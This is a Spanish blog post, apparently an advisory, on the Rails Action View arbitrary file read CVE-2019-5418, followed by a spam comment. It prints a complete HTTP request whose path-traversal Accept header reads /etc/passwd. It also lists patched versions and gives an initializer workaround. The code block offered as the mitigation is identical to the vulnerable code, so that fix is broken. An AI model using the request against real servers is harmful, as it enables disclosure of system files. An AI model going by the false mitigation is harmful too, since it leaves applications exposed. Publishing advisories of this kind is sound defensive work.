Acceso arbitrario a ficheros en Rails (CVE-2019-5418)

Recientemente se ha publicado una vulnerabilidad en Ruby on Rails que permite acceder arbitrariamente al contenido de los ficheros del servidor.

La vulnerabilidad está en Action View, ha sido bautizada con el CVE CVE-2019-5418 y puede explotarse simplemente mandando una cabecera 'Accept' especialmente construida que en combinación con las llamadas a `render file:` nos mostrará en la respuesta el contenido del fichero:
GET /test HTTP/1.1
Host: SERVIDOR:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: ../../../../../../../../etc/passwd{{
Content-Length: 306
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: firstVisit=1552167456698; CSRF-Token-HOYYT=grQmu9F3Y5hazpvr6T5TtWKj4HqPFhea; sessionid-HOYYT=i3VkCeXtjRJJHUxc7xEEjbecD53xbvaN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Las versiones de Rails que ya han sido corregidas son la 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1.
El código vulnerable sería:
```
class UserController < ApplicationController
  def index
    render file: "#{Rails.root}/some/file"
  end
end
```

Y se mitigaría especificando el formato para el renderizado de los ficheros:
```
class UserController < ApplicationController
  def index
    render file: "#{Rails.root}/some/file"
  end
end
```

De forma alternativa, se puede aplicar el siguiente 'parche' en un inicializador:
```
$ cat config/initializers/formats_filter.rb
# frozen_string_literal: true

ActionDispatch::Request.prepend(Module.new do
  def formats
    super().select do |format|
      format.symbol || format.ref == "*/*"
    end
  end
end)
```

Y no es el único CVE que han cocinado" para RoR: atentos también a una denegación de servicio (CVE-2019-5419) y un posible RCE en development mode ( CVE-2019-5420).

Así que ya sabéis azulones, ¡a actualizar o parchear!

2 comentarios :

  1. Este comentario ha sido eliminado por el autor.

    ResponderEliminar
  2. I believe that the list of https://mypaperedit.com/blog/top-10-common-grammar-mistakes-you-should-avoid is much longer. You mentioned only a few that almost every second person does. You need probably write more article or maybe even two to cover all such common mistakes.

    ResponderEliminar